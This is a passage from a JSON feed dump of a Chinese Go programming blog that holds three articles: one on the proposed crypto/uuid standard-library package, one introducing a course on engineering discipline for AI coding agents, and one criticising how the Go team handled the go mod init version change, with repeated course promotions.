想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/01/open-source-ai-era-coding-agent-takes-over-github/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/open-source-ai-era-coding-agent-takes-over-github-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/01/open-source-ai-era-coding-agent-takes-over-github\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/01/open-source-ai-era-coding-agent-takes-over-github\"\u003ehttps://tonybai.com/2026/03/01/open-source-ai-era-coding-agent-takes-over-github\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果我们把时间拨回到 2023 年之前，一个开源项目的诞生往往伴随着一位或几位核心维护者（Maintainer）数周甚至数月的辛勤耕耘。\u003c/p\u003e","title":"AI 时代的开源：当 Coding Agent 接管 GitHub，我们该何去何从？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/01/goodbye-google-uuid-go-standard-library-crypto-uuid\n大家好，我是Tony Bai。\n在 Go 的世界里，有几个第三方库的地位几乎等同于标准库，github.com/google/uuid 绝对是其中之一。无论是微服务架构、数据库主键，还是分布式追踪，UUID 的身影无处不在。\n然而，尽管其他主流语言（如 Java, C#, Python）早已将 UUID 纳入标准库，Go 却迟迟未动。直到最近，一个长达近三年讨论的提案 #62026: proposal: crypto/uuid: add API to generate and parse UUID 终于迎来了突破性进展：Go 官方提案审查委员会已将其标记为 “likely accept”（极有可能接受）。\n这意味着，在不久的将来（大概率是 Go 1.27 或后续版本），我们终于可以使用官方的 crypto/uuid 包了。\n不仅如此，这个issue中的数百条留言也折射出的是 Go 团队对极简主义、安全性以及现代 UUID 标准的深刻思考。\nUUID 极简史：从 V1 到 V8 的演进 在深入探讨 Go 的提案之前，我们有必要先补齐 UUID（通用唯一识别码，Universally Unique Identifier）的背景知识。\nUUID 是一个 128 位（16 字节）的标识符，通常以 32 个十六进制数字和 4 个连字符表示，形如：f81d4fae-7dec-11d0-a765-00a0c91e6bf6。它的核心目标是：在无需中央协调机构的情况下，保证全球范围内的唯一性。\n随着技术的演进，UUID 规范（主要是 RFC 4122 以及最新的 RFC 9562）定义了多种版本，它们在生成机制上各有千秋：\nV1 \u0026amp; V2 (基于时间与 MAC 地址)：早期的 UUID 依赖机器的物理网卡地址和当前时间。缺点：暴露了机器身份和生成时间，存在严重隐私风险，现已极少使用。 V3 \u0026amp; V5 (基于名称的哈希)：根据特定的命名空间（如 URL）和名称生成。V3 使用 MD5，V5 使用 SHA-1。相同输入永远产生相同输出。缺点：MD5 和 SHA-1 已被认为在密码学上不够安全，使用场景受限。 V4 (纯随机)：目前最广泛使用的版本。128 位中除了 6 位用于版本和变体标识外，其余 122 位全部由密码学安全的随机数生成。优点：完全匿名，冲突概率极低。缺点：完全无序，作为数据库主键时，会导致 B+ 树索引严重碎片化，影响写入性能。 V6 (重新排序的 V1)：为了解决 V4 的无序问题，将 V1 的时间戳字段重新排列，使其具有时间上的单调递增性。 V7 (时间有序的随机)：新一代的王者（RFC 9562 重点推荐）。它的前 48 位是 Unix 毫秒时间戳，后面跟着充足的随机数据。优点：兼顾了 V4 的隐私性/随机性，和时间上的粗略单调递增。作为数据库主键时，插入性能远超 V4。 V8 (自定义)：为实验性或特定供应商的格式预留。 了解了这些，我们就能理解为什么 Go 团队在设计官方 API 时，会做出一些看似“保守”的选择了。\n为什么现在才引入标准库？ 既然 UUID 如此重要，为什么 Go 官方拖到现在？\nGo 核心成员 neild 的回答非常坦诚：\n没有迫切需求：github.com/google/uuid 这个第三方库工作得非常好，API 稳定，没有不可容忍的缺陷。 API 设计的迷茫：UUID 标准一直在演进。如果在 2018 年将其纳入标准库，可能只会提供 V4；而今天来看，V7 显然是必需的。由于 Go 极其严苛的向后兼容性承诺，一旦将庞杂的 API 加入标准库，就永远无法删除。 那么，为什么现在又决定引入了呢？\n事实上的基础设施：UUID 已经成为现代软件开发的基石。 RFC 9562 的发布：新的标准确立了 V7 的地位，结束了长期的混乱，是时候一锤定音了。 原第三方库的维护困境：github.com/google/uuid 包含了大量历史包袱（如已废弃的方法、不再需要的错误返回等），且维护状态堪忧。Go 团队希望提供一个更精简、更现代、与 Go 核心理念更契合的官方实现。 极简的艺术：crypto/uuid API 设计解析 经过社区数月的激烈辩论，官方最终拟定的 crypto/uuid API 极度精简，展现了 Go 语言一贯的克制。\n这是目前被标记为 “likely accept” 的 API 概览：\npackage uuid // 位于 crypto/uuid // UUID 的本质：16个不透明的字节 type UUID [16]byte // 变量：极值 var Nil = UUID{} var Max = UUID{0xff, 0xff, ...} // 16个 0xff // 构造函数 func New() UUID { return NewV4() } // 默认提供 V4 func NewV4() UUID func NewV7() UUID // 解析函数 func Parse(s string) (UUID, error) func MustParse(s string) UUID // 序列化与格式化 func (u UUID) String() string func (u UUID) MarshalText() ([]byte, error) func (u UUID) AppendText(b []byte) ([]byte, error) func (u *UUID) UnmarshalText(b []byte) error // 比较 func (u UUID) Compare(v UUID) int 乍一看，这个 API 似乎比 google/uuid 少了很多东西。这些“缺失”正是设计的精髓所在。让我们逐一解析背后的考量。\n为什么底层类型是 [16]byte？ 有人提议用 struct 隐藏实现，有人提议用 string。官方最终坚持使用 [16]byte。\n兼容性：它与 google/uuid 的底层类型完全一致，这意味着两者之间的转换仅仅是一个零成本的类型强转（Type Cast），极大降低了生态迁移的成本。 语义准确：UUID 本质上就是 16 个字节的数据，没有任何序列是“非法”的。 为什么 New 函数不再返回 error？ 在使用 google/uuid 时，最让人烦躁的就是 uuid.NewRandom() 会返回 (UUID, error)。因为在底层，它调用的是 crypto/rand.Read。理论上，读取系统随机数可能会失败。\n但现实中，现代操作系统的安全随机源（如 /dev/urandom 或 getrandom 系统调用）几乎不可能失败。如果它失败了，说明你的系统内核已经崩溃，此时程序 panic 才是最正确的选择。\nGo 1.24 引入的 #66821 提案明确了 crypto/rand 会在失败时直接致命退出（Fatal）。因此，在新的 crypto/uuid 中，所有的 New 函数都去掉了冗余的 error 返回值，极大地净化了调用方的代码。\n// 以前 id, err := uuid.NewRandom() if err != nil { ... } // 现在 id := uuid.New() // 爽！ 为什么只提供 V4 和 V7？V1、V3、V5 呢？ Go 安全团队负责人 Roland Shoemaker 对开源生态进行了大规模的数据挖掘，发现：\n超过 90% 的调用是生成随机 UUID（V4）。 生成 V5 的函数（NewSHA1）使用率不足 0.05%。 基于“如无必要，勿增实体”的原则，官方决定只提供 V4 和 V7。\nNewV4：当你只需要一个纯随机的唯一标识符时。 NewV7：当你的标识符会被用作数据库主键，且你希望获得更好的插入性能（时间局部性）时。 如果你真的需要 V5 这种基于 SHA-1 的弱哈希 UUID 怎么办？社区的回答是：自己写，或者继续用第三方库。标准库不应该为这种罕见且安全性存疑的场景买单。\nV7 的争议：要不要提供时间偏移量（Offset）？ 这是提案中最激烈的交锋之一。\n一些数据库专家强烈要求提供类似 NewV7WithOffset(offset) 的方法。他们认为，在极高并发的分布式数据库中，完全连续的时间戳会导致 B 树索引的写入热点（Hotspot）。通过稍微偏移时间戳，可以打散写入压力。同时，偏移也能隐藏真实的创建时间，保护隐私。\n然而，Go 核心团队（neild）坚决拒绝了这个提议：\n偏离规范：RFC 9562 的初衷就是利用时间局部性。如果你故意打乱时间，那为什么要用 V7？不如直接用 V4。 隐私悖论：如果你担心泄露创建时间，V7 本身就不是正确的选择。 增加复杂性：这属于极少数高级数据库引擎才会考虑的特性，不应该污染基础库的通用 API。 为什么没有 Version() 和 Time() 等解析方法？ 在 google/uuid 中，你可以通过方法提取 UUID 的版本号或时间戳。但在新标准库中，这些被全部砍掉。\n原因：遵循 RFC 9562 的“不透明性”（Opacity）原则。规范明确指出：“建议尽可能将 UUID 视为不透明（Opaque）的值，除非绝对必要，应避免解析 UUID。”\nUUID 是用来比较和标识的，不是用来承载业务逻辑的。如果你试图从 UUID 中提取时间，并依此执行业务判断，那么你的架构设计大概率出了问题。\n数据库集成与生态迁移 对于 Gopher 来说，UUID 最常见的作用就是存入数据库。\ngoogle/uuid 之所以流行，很大程度上是因为它实现了 database/sql/driver.Valuer 和 sql.Scanner 接口，可以无缝与各种 ORM（如 GORM）和数据库驱动配合。\n令人惊讶的是，新的 crypto/uuid 并没有实现这些接口。\n这是因为 Go 团队认为方向搞反了。 不应该是底层的 crypto 库去依赖 database/sql，而应该是 database/sql 原生认识 UUID 这种基础类型。\n目前的计划是，与 crypto/uuid 同步，修改 database/sql 和底层驱动框架，使其在遇到 uuid.UUID 类型时，自动完成与字符串（或字节）的转换。这种解耦设计更加优雅。\n小结 crypto/uuid 的提案，表面上只是增加了一个小小的包，实则又是一场关于 Go 工程哲学的集中展示：\n极度克制：砍掉 99% 开发者不需要的 80% 的功能（V1-V3, V5, 提取内部信息），只保留最核心的骨架（V4, V7, 解析, 格式化）。 安全性优先：放在 crypto 目录下，强调其依赖密码学安全的随机数；拒绝支持已被攻破的弱哈希算法（MD5/SHA1）。 零冗余处理：借助语言底层的进化（crypto/rand 必定成功），去掉了无意义的 error 返回。 对于我们普通的 Go 开发者来说，未来的迁移路径将非常简单：\n当 Go 版本更新后，我们只需要将 import 路径从 github.com/google/uuid 替换为 crypto/uuid。由于底层类型都是 [16]byte，甚至不用担心性能下降。\n告别那些臃肿的、历史包袱沉重的第三方库，拥抱一个清爽、安全、原生的 crypto/uuid，Gopher 们，准备好了吗？\n资料链接：https://github.com/golang/go/issues/62026\n你会第一时间切换吗？\n面对即将到来的原生 crypto/uuid，你是支持“极简主义”的官方版本，还是离不开功能丰富的 google/uuid？在你的项目中，UUID V7 的单调递增特性是否真的解决了数据库索引碎片的问题？\n欢迎在评论区分享你的看法，我们一起坐等 Go 1.27！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/01/goodbye-google-uuid-go-standard-library-crypto-uuid/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/goodbye-google-uuid-go-standard-library-crypto-uuid-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/01/goodbye-google-uuid-go-standard-library-crypto-uuid\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/01/goodbye-google-uuid-go-standard-library-crypto-uuid\"\u003ehttps://tonybai.com/2026/03/01/goodbye-google-uuid-go-standard-library-crypto-uuid\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 的世界里，有几个第三方库的地位几乎等同于标准库，github.com/google/uuid 绝对是其中之一。无论是微服务架构、数据库主键，还是分布式追踪，UUID 的身影无处不在。\u003c/p\u003e","title":"告别 google/uuid：Go 标准库拟新增 crypto/uuid 深度解析"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/28/agentic-software-engineering\n大家好，我是Tony Bai。\n欢迎来到微专栏 《AI 智能体时代的软件工程》的第一讲，也是开篇词。\n想象一下，你刚刚招募了一位极度聪明的初级程序员。\n他有着令人“毛骨悚然”的执行力：当你去泡杯咖啡的功夫，他已经噼里啪啦写完了 1000 行代码，不仅编译通过，测试也全绿，看起来极其专业。\n但很快，你发现了令人窒息的另一面：\n他没有任何架构直觉，完全不顾及系统未来的可维护性； 他极其盲目自信，会在没有彻底理解业务意图时就大刀阔斧地重构核心逻辑； 最要命的是，他有着严重的“失忆症”——今天你刚纠正过他的代码规范，明天一早，他又会带着饱满的热情，把你昨天的纠正忘得一干二净，并再次犯下完全相同的错误。 请问，你会敢让这样一位员工不受限制地直接把代码推上生产环境吗？\n绝对不敢。你会为他安排极其严格的代码审查，设定明确的边界，要求他每做一步都提供详尽的证据。\n然而，这正是当前整个行业在面对 AI 智能体（AI Agents）时，正在犯下的致命错误。\n过去这两年，从 GitHub Copilot 到 Cursor，再到各种强大的命令行编码智能体(比如Claude Code、Codex等)，整个开发生态陷入了一场名为“氛围编程”（Vibe Coding）的狂欢。开发者们发现，只要用自然语言“连哄带骗”地去引导 AI，凭着感觉不断点击“重新生成”，总能碰巧凑出一个看起来能跑的程序。\n对于写个一次性脚本或做个原型，这感觉就像魔法一样棒。但如果你是在构建一个长生命周期、需要高可靠性的企业级软件，这种“氛围编程”无异于用 Windows 画图软件去设计一座跨海大桥。\n速度是有了，但**信任债务（Trust Debt）**正在疯狂累积。\n为什么 AI 写代码越快，你的团队越痛苦？ 很多研发 Leader 和资深开发者最近都有一个共同的痛点：AI 并没有减轻工作量，它只是把“写代码”的痛苦，转移成了“读代码和收拾残局”的痛苦。\n在传统软件工程中，由于是人类逐行敲击键盘，代码的“产出速度”天然受限。这个物理限制，给了我们的大脑足够的时间去消化上下文、思考架构边界，并在潜意识里完成质量校验。\n但在如今的智能体时代，代码生成的速度不再是瓶颈，人类的注意力和审查带宽成为了绝对的瓶颈。\n当 AI 队友可以在几秒钟内吐出几百行横跨多个微服务、改动了数据库 Schema 甚至引入了新依赖的代码时，传统的“拉个 Pull Request，人肉看两眼 Diff”的审查机制瞬间就崩溃了。你面对的是一座由于局部极度优化，但全局逻辑可能支离破碎的“现代化屎山”。\n如果你只是把 AI 当成一个“跑得更快的打字机”，而不去升级包裹在 AI 外面的工程管理体系，你最终得到的不会是十倍的提效，而是以光速制造出的系统灾难。\n软件工程不仅没有死，反而迎来了“工程化”的黄金时代 有人说，“有了 AI，软件工程就不存在了”。这完全是外行看热闹的错觉。\n土木工程从来就不是关于如何徒手搓出一块完美的钢筋，而是关于如何在材料存在公差、工人会犯错的客观现实下，通过冗余设计、安全裕度和检验标准，造出绝对可靠的桥梁。\n同样，AI 智能体时代的新一代软件工程，其核心就是：如何在一个由大量“具有随机性（Stochastic）、不可靠”的 AI 队友和人类组成的混合团队中，通过系统性的工程约束，持续、稳定地交付可被绝对信任的软件系统。\n再通俗直白一些，就是我们需要把非确定性的魔法，关进确定性的工程笼子里。\n坦白说，这套颠覆性的思维范式并非我凭空捏造。在过去的一段时间里，我深受软件工程业界前沿大佬Ahmed E. Hassan的影响，阅读了他的有关Software Engineering 3.0(简称SE 3.0)的论文和著作《Agentic Software Engineering》。尤其是后者，这本书像一座灯塔，极具前瞻性地定义了智能体软件工程的理论框架与核心悖论。\n但在反复研读，并尝试将其引入我日常的真实研发流水线后，我深深地感受到：“看懂理论”和“把它变成团队日常执行的肌肉记忆”之间，还隔着一条名为“工程落地”的鸿沟。\n这正是我策划这门微专栏的初衷。\n在这里，我们不讲那些几个月就会过时的 Prompt 奇技淫巧，也不教你怎么安装某个特定的 AI 插件。我将把《Agentic SE》一书中最具价值的底层心法，结合我在真实复杂架构中的开发实践与踩坑经验，为你翻译并重构为一套**“心法 + 战术 + 落地模板”的实战指南，教你如何将非正规军的“氛围编程”，全面升级为正规军的智能体软件工程**。\n在接下来的内容中，我们将深度探讨：\n如何利用 AI “不知疲倦”的特质，把枯燥的边界测试和重构做到极致？ 如何设计任务简报，用“意图契约”取代松散的提示词，给 AI 划定自治的安全边界？ 如何构建合并就绪包（Merge-Readiness Pack），让基于“代码 Diff”的审查，升级为基于“证据链”的审计？ 当你的团队从“1个人+1个AI”演进到“10个人+100个并发运行的 AI”时，如何设计自动化的协同流水线，避免它们互相踩踏？ 为什么在 AI 时代，像 Go、Rust 这种“默认无聊、限制颇多”的强类型语言，反而成为了企业级系统最坚实的底座？ 微专栏目录抢先看 本专栏共计 14 讲，分为四大核心模块：\n模块一：认知重塑 —— 从“氛围编程”到“智能体工程”\n第 1 讲 | 停止“氛围编程”（Vibe Coding），拥抱新一代软件工程 第 2 讲 | 危险的“初级天才”：AI 队友的四大致命悖论 模块二：人机协作设计模式 —— 压榨 AI 队友的“非人类”优势\n第 3 讲 | 无尽迭代与超越完成：利用 AI 的“不知疲倦” 第 4 讲 | 沟通降本：把“脏乱差”的意图转化为精准的研发契约 第 5 讲 | 免费的架构委员会：零社交成本的“魔鬼代言人” 第 6 讲 | 并行分解与一次性赌注：零成本验证多种技术方案 模块三：可靠性保障工程 —— 把“随机性”关进笼子\n第 7 讲 | 任务工程 (Mission Eng)：告别 Prompt，建立“自治契约” 第 8 讲 | 上下文工程 (Context Eng)：把知识视为接口，而非垃圾场 第 9 讲 | 基于证据的审查：千万别信 AI 的“测试已通过” 模块四：平台与团队规模化 —— 打造多智能体协同流水线\n第 10 讲 | 协同工程：避免“连环车祸”的自动化流水线设计 第 11 讲 | 双态工作台：为何我们需要为 AI 重构 IDE？ 第 12 讲 | 信任工程：建立 AI 时代的“三维材料清单 (BOM)” 第 13 讲 | 语言工程：代码可读性，AI 时代最核心的架构决策 第 14 讲 | 结束语：认清现实，去当驾驶法拉利的赛车手 模块五：加餐篇 —— 将 Agentic SE 注入 Claude Code\n待定，看微专栏订阅人数是否超出预期^_^\n小结：变革的临界点已经到来 那些还在死磕代码生成速度的团队，最终会被堆积如山的“神秘技术债”压垮；而那些率先建立起现代智能体工程体系的团队，将真正驾驭这股洪荒之力，获得十倍甚至百倍的产能飞跃。\n你是想成为那个在失控的自动驾驶汽车里尖叫的乘客，还是想成为从容掌控整个 AI 赛车车队的总指挥？\n点击链接或扫描下方二维码，立即订阅《AI 智能体时代的软件工程》。 让我们一起拿下通往新时代的头等舱船票，重塑未来的软件工程！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/28/agentic-software-engineering/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/agentic-software-engineering-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/28/agentic-software-engineering\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/28/agentic-software-engineering\"\u003ehttps://tonybai.com/2026/02/28/agentic-software-engineering\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e欢迎来到微专栏 《\u003ca href=\"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzIyNzM0MDk0Mg==\u0026amp;action=getalbum\u0026amp;album_id=4405916224124043265#wechat_redirect\"\u003eAI 智能体时代的软件工程\u003c/a\u003e》的第一讲，也是开篇词。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/agentic-software-engineering-qr.png\"\u003e\u003c/p\u003e\n\u003cp\u003e想象一下，你刚刚招募了一位极度聪明的初级程序员。\u003c/p\u003e","title":"停止“氛围编程”（Vibe Coding），拥抱新一代软件工程"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/27/go-mod-init-controversy-elitism-vs-democracy\n大家好，我是Tony Bai。\n仅仅在 Go 1.26 正式发布几周后，一场席卷 Go 社区的风暴迎来了戏剧性的转折。面对广大开发者对 go mod init 默认降级为 1.(N-1) 的强烈不满，Go 核心团队技术负责人 Austin Clements（aclements）亲自下场“灭火”，并明确表示：官方正倾向于撤回这一改动，恢复 1.N 的默认行为。\n这看似是一场“社区战胜了官方”的完美结局，但在欢呼之余，我们必须进行更加深刻的冷思考。一个对成千上万新手和业务开发者有着巨大影响的命令行行为变更，为何能在没有引起广泛警觉的情况下被悄然合入主干？\n当剥开技术争议的表象，我们会发现一个令人担忧的事实：Go 语言引以为傲的“设计驱动（Design-Driven）”和民主化提案流程正在褪色，取而代之的，是一种脱离群众、缺乏约束的“精英主义”。\n从“不接受反驳”到“光速认错”的大反转 如果你错过了前几天的剧情，这里做一个简短的背景回顾：在 Go 1.26 中，官方为了“强制保护下游生态兼容性”，将 go mod init 的默认版本从当前工具链的 1.26 降级成了 1.25。这意味着，当你满怀期待地下载了最新的 Go，敲下初始化命令后，却无法直接使用哪怕是最简单的 new(expr) 新语法。\n面对社区在 Issue #77653 中提出的“违背最小惊讶原则”、“惩罚 99% 的普通开发者去迎合 1% 的底层库作者”等尖锐批评，最初参与决策的几位核心成员态度强硬。核心元老 Ian Lance Taylor 甚至抛出了那句著名的、略显傲慢的回复：“除非有新的信息，否则我们不会重新审视已做出的决定。”\n就在局势即将陷入僵局，社区情绪日益沸腾之时，Go 团队的技术负责人 Austin Clements 终于出面了。\n他的回复展现出了难得的客观与同理心，直接给这场争论定了调：\n承认对新手的伤害：“要求那些刚刚安装了 1.N 的用户去使用 1.N（遇到报错时不知所措）显然是令人困惑的。这尤其伤害了新手，因为他们是最不可能知道如何解决这种困惑的群体。这是一个错误的权衡。” 点出视角的错位：“支持 1.(N-1) 的论点是微妙的，是高级用户的考量；而支持 1.N 的论点则是直截了当的。” 最终表态：“我们正倾向于撤回（Revert）这个修改，但我们希望给后续开会的 Go 命令工作组一个发表意见的机会。” 随后，Austin 将恢复 1.N 行为的提议置于了提案审查列表的最高优先级。至此，这场降级风波基本以社区的胜利告终。\n傲慢的代价——为什么这个糟糕的决定会被做出？ 知错能改，善莫大焉。\nGo 团队及时纠错的态度值得点赞。但是，作为一门支撑着全球云计算基础设施的工业级语言，为什么这样一个“伤害新手、逻辑存在明显硬伤”的改动，能够一路绿灯地发布到正式版中？\nAustin Clements 在回复中不经意间说出了一句最关键的话：\n“The original change probably should have gone through proposal review. I don’t think any of us appreciated the full effect it would have.”\n最初的修改可能本应该走提案审查流程。我不认为我们中有人意识到了它会产生的全面影响。\n这句话，彻底揭开了 Go 团队目前在工程管理上的遮羞布：他们绕过了自己设定的规矩。\n导致 go mod init 行为改变的原始 Issue #74748，从头到尾只是作为一个普通的“Feature Request”存在，它没有被打上 Proposal 的标签，没有经过 Proposal Review 会议的正式审议，更没有撰写任何正式的 Design Document（设计文档）。仅仅是因为几个维护 cmd/go 的核心开发者觉得“这样做对生态好”，就直接敲定并合并了代码。\n他们身处维护底层基础设施的“信息茧房”中，满脑子都是复杂的依赖树和版本冲突，却完全忘记了一个刚接触 Go 的大学生在终端敲下 go mod init 时的第一直觉。\n这正是典型的精英主义盲区：用自己极其特定的工作场景，去套用世界上数以百万计的普通应用开发者。\n如果这个修改走过了正规的 Proposal 流程，在全社区的注视下进行公示，这种盲区早就被一线的业务开发者指出了。\n名存实亡的“设计驱动（Design-Driven）” 在早年间，Go 团队以极其克制和严谨的工程规范著称。打开官方Go Proposal仓库的主页(README.md)，开宗明义的第一句话就是：\n“The Go project’s development process is design-driven. Significant changes to the language, libraries, or tools (which includes API changes… as well as command-line changes to the go command) must be first discussed, and sometimes formally documented, before they can be implemented.”\n（Go 项目的开发过程是设计驱动的。对语言、库或工具的重大更改——包括对 go 命令的命令行更改——在实施之前，必须首先进行讨论，有时还需要进行正式的文档记录。）\n规矩写得清清楚楚：go 命令的行为变更，必须走 Proposal 流程。\n然而，近两年来，随着 Go 语言演进速度的加快，这种“Design-Driven”的文化似乎正在被一种“Issue-Driven”甚至“PR-Driven”的快餐文化所侵蚀。\n数据是反映这种文化流失的最有力证据。\n让我们打开 Go 官方存放设计文档的仓库（golang/proposal）。你会震惊地发现，在整个 2025 年，该仓库的 design/ 目录下，一共只有屈指可数的 5 个 Commit！\n2025 年 2 月：TLS 动态配置设计 2025 年 9 月：Goroutine 泄露检测设计 2025 年 11/12 月：runtime.free 内存释放设计 … … 除去这寥寥几个极其硬核的底层变动，大量的 API 新增、标准库重构、以及类似 go mod init 这种影响深远的命令行行为调整，全部在没有正式设计文档的情况下被“悄度陈仓”了。\n对比当年引入 Modules、引入泛型（Generics）时动辄上万字、历经数月甚至多年打磨、收集无数社区反馈的设计文档，现在的 Go 团队似乎变得越来越“自信”，也越来越“急躁”。\n很多时候，内部成员提一个 Issue，写几百字的简要说明，几位拥有合并权限的大佬在下面留个 +1 或者 LGTM，代码就直接开干了。\n警惕精英主义杀死社区的民主 开源项目的治理，本质上是对权力（代码合并权）的约束。Proposal 流程设立的初衷，不是为了增加官僚主义，而是为了强制核心开发者在动手写代码之前，必须进行结构化的思考和广泛的倾听。\n当 Proposal 流程被有意无意地绕过时，精英主义的毒药就开始蔓延：\n“Google Knows Best”心态抬头：当核心决策圈脱离了广泛的社区讨论时，他们不可避免地会认为自己的判断优于普通开发者。最初对社区反馈的冷漠回应，正是这种心态的缩影。 缺乏边界情况的推演：没有要求提交正式的 Design Doc，就意味着没有要求详细列出 “Alternatives Considered”（替代方案）、”Compatibility”（兼容性影响）和 “Drawbacks”（缺点）。缺乏这种强制的“三省吾身”，魔鬼就会藏在未被测试的边界细节中。 社区信任的透支：民主的基石是程序正义。当开发者发现影响自己日常工作的命令被悄悄改掉，且在提出异议时遭遇“没有新信息不予讨论”的傲慢对待时，社区与官方团队之间的信任就会产生深深的裂痕。 小结：让 Go 重回“设计驱动”的轨道 go mod init 降级风波以官方的妥协和准备 Revert 告一段落。对于广大的 Gopher 来说，在未来的 Go 1.26 小版本（或 Go 1.27）中，我们有望找回那个熟悉的、开箱即用的 go mod init。\n但这绝不应该仅仅是一个代码上的回滚。它更应该成为悬在 Go 核心团队头上的一记警钟。\nGo 语言之所以伟大，很大程度上得益于其早期近乎刻板的严谨与克制。在追求语言特性现代化的今天，我们最不希望看到的就是这种严谨被丢弃，被少数人的“我觉得这样更好”所取代。\n我们呼吁 Go 团队重新审视并严格执行 Proposal 流程。 对于任何影响开发者体验、改变默认行为的改动，都应该将其强制拉回到阳光下，撰写详尽的设计文档，接受全社区的拍砖与审视。\n“快”从来不是 Go 语言的唯一追求，“稳”与“清晰”才是。希望这场风波能让 Go 开发流程重新找回那份对“设计驱动”的敬畏之心，因为只有倾听真实世界的声音，这只可爱的地鼠才能在云原生以及AI的时代走得更远、更稳。\n本文基于 Go GitHub Issue #77653、#74748 及相关开源治理规范深度整理。对于 Go 团队最终的及时纠错，我们表示敬意，同时也期待看到一个更加开放、透明、且尊重程序的决策流程。\n你的“投票”\nGo 团队的这次“回滚”，是社区声音的一次胜利。作为一名普通开发者，你如何看待 Go 官方近年来的决策风格？你认为现在的 Proposal 流程是太慢了，还是太快太随意了？\n欢迎在评论区留下你的真实看法！ 每一个理性的声音，都是对 Go 社区的一份贡献。\n如果这篇文章说出了你的心声，别忘了点个【赞】和【在看】，并转发给更多关心 Go 未来的朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/27/go-mod-init-controversy-elitism-vs-democracy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-mod-init-controversy-elitism-vs-democracy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/27/go-mod-init-controversy-elitism-vs-democracy\"\u003e本文永久链接\u003c/a\u003e – \u003ca 